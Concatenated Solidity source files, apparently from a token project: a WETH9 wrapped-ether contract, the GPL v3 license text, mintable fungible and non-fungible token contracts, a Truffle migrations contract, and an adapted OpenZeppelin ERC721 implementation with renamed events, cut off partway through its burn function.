// Copyright (C) 2015, 2016, 2017 Dapphub // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // solhint-disable pragma solidity 0.5.12; contract WETH9 { string public name = "Wrapped Ether"; string public symbol = "WETH"; uint8 public decimals = 18; event Approval(address indexed _owner, address indexed _spender, uint _value); event Transfer(address indexed _from, address indexed _to, uint _value); event Deposit(address indexed _owner, uint _value); event Withdrawal(address indexed _owner, uint _value); mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; function() external payable { deposit(); } function deposit() public payable { balanceOf[msg.sender] += msg.value; emit Deposit(msg.sender, msg.value); } function withdraw(uint wad) public { require(balanceOf[msg.sender] >= wad); balanceOf[msg.sender] -= wad; msg.sender.transfer(wad); emit Withdrawal(msg.sender, wad); } function totalSupply() public view returns (uint) { return address(this).balance; } function approve(address guy, uint wad) public returns (bool) { allowance[msg.sender][guy] = wad; emit Approval(msg.sender, guy, wad); return true; } function transfer(address dst, uint wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom(address src, address dst, uint wad) public returns (bool) { require(balanceOf[src] >= wad); if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) { require(allowance[src][msg.sender] >= wad); allowance[src][msg.sender] -= wad; } balanceOf[src] -= wad; balanceOf[dst] += wad; emit Transfer(src, dst, wad); return true; } } /* GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: <program> Copyright (C) <year> <name of author> This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see <http://www.gnu.org/licenses/>. The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read <http://www.gnu.org/philosophy/why-not-lgpl.html>. */ pragma solidity 0.5.12; import "openzeppelin-solidity/contracts/access/roles/MinterRole.sol"; import "./AdaptedERC721.sol"; // This contract definiition is the same as ERC721Mintable, however it uses an // adapted ERC721 - with different event names contract NonFungibleToken is AdaptedERC721, MinterRole { /** * @dev Function to mint tokens. * @param to The address that will receive the minted tokens. * @param tokenId The token id to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 tokenId) public onlyMinter returns (bool) { _mint(to, tokenId); return true; } } pragma solidity 0.5.12; import "openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol"; contract FungibleToken is ERC20Mintable {} pragma solidity >=0.4.21 <0.6.0; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } pragma solidity ^0.5.0; import "openzeppelin-solidity/contracts/token/ERC721//IERC721Receiver.sol"; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "openzeppelin-solidity/contracts/utils/Address.sol"; import "openzeppelin-solidity/contracts/drafts/Counters.sol"; import "openzeppelin-solidity/contracts/introspection/ERC165.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract AdaptedERC721 is ERC165 { using SafeMath for uint256; using Address for address; using Counters for Counters.Counter; // NEW EVENTS event NFTTransfer(address indexed from, address indexed to, uint256 indexed tokenId); event NFTApproval(address indexed owner, address indexed approved, uint256 indexed tokenId); event NFTApprovalForAll(address indexed owner, address indexed operator, bool approved); // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => Counters.Counter) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; constructor() public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); } /** * @dev Gets the balance of the specified address. * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address owner) public view returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _ownedTokensCount[owner].current(); } /** * @dev Gets the owner of the specified token ID. * @param tokenId uint256 ID of the token to query the owner of * @return address currently marked as the owner of the given token ID */ function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param to address to be approved for the given token ID * @param tokenId uint256 ID of the token to be approved */ function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(msg.sender == owner || isApprovedForAll(owner, msg.sender), "ERC721: approve caller is not owner nor approved for all" ); _tokenApprovals[tokenId] = to; emit NFTApproval(owner, to, tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf. * @param to operator address to set the approval * @param approved representing the status of the approval to be set */ function setApprovalForAll(address to, bool approved) public { require(to != msg.sender, "ERC721: approve to caller"); _operatorApprovals[msg.sender][to] = approved; emit NFTApprovalForAll(msg.sender, to, approved); } /** * @dev Tells whether an operator is approved by a given owner. * @param owner owner address which you want to query the approval of * @param operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Transfers the ownership of a given token ID to another address. * Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * Requires the msg.sender to be the owner, approved, or operator. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function transferFrom(address from, address to, uint256 tokenId) public { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved"); _transferFrom(from, to, tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function safeTransferFrom(address from, address to, uint256 tokenId) public { safeTransferFrom(from, to, tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether the specified token exists. * @param tokenId uint256 ID of the token to query the existence of * @return bool whether the token exists */ function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } /** * @dev Returns whether the given spender can transfer a given token ID. * @param spender address of the spender to query * @param tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _tokenOwner[tokenId] = to; _ownedTokensCount[to].increment(); emit NFTTransfer(address(0), to, tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {_burn} instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own"); _clearApproval(tokenId); _ownedTokensCount[owner].decrement(); _tokenOwner[tokenId] = address(0); emit NFTTransfer(owner, address(0), tokenId); } /** * @dev Internal function to burn a specific token. 